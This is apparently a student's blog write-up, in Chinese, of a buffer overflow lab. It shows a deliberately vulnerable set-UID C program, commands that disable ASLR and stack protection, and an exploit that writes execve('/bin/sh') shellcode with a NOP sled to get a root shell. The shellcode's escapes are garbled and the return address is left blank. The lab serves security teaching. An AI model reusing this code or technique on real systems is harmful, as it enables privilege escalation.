• 20165235 缓冲区溢出漏洞实验


    缓冲区溢出漏洞实验

    实验准备

    因为实验环境需要32位的Linux系统,所以下载安装一些用于编译 32 位 C 程序的软件包,安装代码如下:

    $ sudo apt-get update
    
    $ sudo apt-get install -y lib32z1 libc6-dev-i386
    
    $ sudo apt-get install -y lib32readline-gplv2-dev
    
    

    实验步骤

    初始设置

    1.使用命令$ sudo sysctl -w kernel.randomize_va_space=0来关闭地址空间随机化。
    2.用另一个 shell 程序(zsh)代替 /bin/bash,代码如下:

    $ sudo su
    
    $ cd /bin
    
    $ rm sh
    
    $ ln -s zsh sh
    
    $ exit
    

    如下图:

    3.输入命令linux32进入32位linux环境输入,/bin/bash使用bash.

    shellcode

    1.缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode.如下代码:

    #include <stdio.h>
    int main()
    {
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
    }
    

    漏洞程序

    1.在 /tmp 目录下新建一个 stack.c 文件,如下:

    $ cd /tmp
    $ vi stack.c
    

    2.输入如下代码:

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    3.通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:

    $ sudo su
    
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    
    $ chmod u+s stack
    
    $ exit
    

    GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

    攻击程序

    1.我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    2.在我们要得到 shellcode 在内存中的地址,把shellcode的地址填充到x??x??x??x??中,命令:$ gdb stack ,$ disass main,得到如图所示:

    然后接着调试,得出str首地址

    攻击

    先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

    实验感悟

    本次实验成功的关键是猜测内存地址,所以首先要关闭这部分功能。缓冲区溢出会造成程序崩溃,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码,即可以使用这段代码进行缓冲溢出攻击。实验中学会了使用gdb 调试指令 disass main来获取str首地址,这是以前所从未了解到的。

  • 相关阅读:
    HDU5418.Victor and World(状压DP)
    POJ2686 Traveling by Stagecoach(状压DP)
    POJ3254Corn Fields(状压DP)
    HDU5407.CRB and Candies(数论)
    CodeForces 352D. Jeff and Furik
    CodeForces 352C. Jeff and Rounding(贪心)
    LightOj 1282 Leading and Trailing
    Ural 1057. Amount of Degrees(数位DP)
    HDU 2089 不要62 (数位DP)
    HDU5366 The mook jong (DP)
  • 原文地址:https://www.cnblogs.com/qy20165235/p/9775109.html
Copyright © 2020-2023  润新知